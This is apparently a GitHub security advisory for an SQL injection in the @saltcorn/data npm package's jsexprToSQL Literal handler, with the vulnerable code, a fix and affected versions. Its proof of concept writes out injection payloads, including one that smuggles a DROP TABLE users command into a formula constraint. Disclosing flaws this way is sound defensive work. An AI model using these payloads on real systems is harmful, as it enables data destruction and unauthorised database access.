GHSA-59xv-588h-2vmm

Suggest an improvement
Source
https://github.com/advisories/GHSA-59xv-588h-2vmm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-59xv-588h-2vmm/GHSA-59xv-588h-2vmm.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-59xv-588h-2vmm
Published
2026-04-10T19:30:32Z
Modified
2026-04-10T19:48:55Z
Severity
  • 0.0 (None) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:N CVSS Calculator
Summary
@saltcorn/data vulnerable to SQL Injection via jsexprToSQL Literal Handler
Details

Summary

The jsexprToSQL() function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The Literal handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.

Vulnerable Component

File: packages/saltcorn-data/models/expression.ts, lines 117-118

Literal({ value }: { value: ExtendedNode }) {
  if (typeof value == "string") return `'${value}'`;  // NO ESCAPING!
  return `${value}`;
},

Call chain: Formula constraint creation → table_constraints.ts:127jsexprToSQL()Literal()db.query() executes unsanitized SQL.

Proof of Concept

Injection via Formula Constraint

When an admin creates a Formula-type table constraint with the expression:

name === "test' OR '1'='1"

The jsexprToSQL() function generates:

(name)=('test' OR '1'='1')

This is then executed as:

ALTER TABLE "tablename" ADD CONSTRAINT "tablename_fml_1" CHECK ((name)=('test' OR '1'='1'));

The single quote in the string literal is not escaped, breaking out of the SQL string context.

More Dangerous Payload

name === "'; DROP TABLE users; --"

Generates:

(name)=(''; DROP TABLE users; --')

Verified on Saltcorn v1.5.0 (Docker)

Direct invocation of jsexprToSQL() inside the running container confirms the vulnerability:

Input:  name === "hello"
Output: (name)=('hello')                          ← Normal

Input:  name === "test' OR '1'='1"
Output: (name)=('test' OR '1'='1')                ← Single quote NOT escaped, OR injected

Input:  name === "'; DROP TABLE users; --"
Output: (name)=(''; DROP TABLE users; --')         ← DROP TABLE injected

The test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).

PoC Screenshot

  1. Create a table after moving to the table menu
SCR-20260307-edqn
  1. Go to the table and then to Constraits
SCR-20260307-edsg
  1. Go to Formula
SCR-20260307-edud
  1. Create a test table for verification
SCR-20260307-eetw
  1. Input the payload and save
SCR-20260307-ehcz
  1. Check the table for testing
SCR-20260307-ehuh

Impact

  • Arbitrary SQL execution via crafted CHECK constraints
  • Data exfiltration through error-based or time-based SQL injection
  • Database schema manipulation (DROP TABLE, ALTER TABLE)
  • Potential privilege escalation via direct users table modification

Suggested Remediation

Escape single quotes in the Literal handler:

Literal({ value }: { value: ExtendedNode }) {
  if (typeof value == "string") return `'${value.replace(/'/g, "''")}'`;
  return `${value}`;
},

Alternatively, use parameterized queries for constraint creation instead of string interpolation.

Database specific
{
    "cwe_ids":  [
        "CWE-89"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-10T19:30:32Z",
    "nvd_published_at":  null,
    "severity":  "LOW"
}
References

Affected packages

npm / @saltcorn/data

Package

Name
@saltcorn/data
View open source insights on deps.dev
Purl
pkg:npm/%40saltcorn/data

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.4.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-59xv-588h-2vmm/GHSA-59xv-588h-2vmm.json"

npm / @saltcorn/data

Package

Name
@saltcorn/data
View open source insights on deps.dev
Purl
pkg:npm/%40saltcorn/data

Affected ranges

Type
SEMVER
Events
Introduced
1.5.0
Fixed
1.5.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-59xv-588h-2vmm/GHSA-59xv-588h-2vmm.json"

npm / @saltcorn/data

Package

Name
@saltcorn/data
View open source insights on deps.dev
Purl
pkg:npm/%40saltcorn/data

Affected ranges

Type
SEMVER
Events
Introduced
1.6.0-alpha.0
Fixed
1.6.0-beta.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-59xv-588h-2vmm/GHSA-59xv-588h-2vmm.json"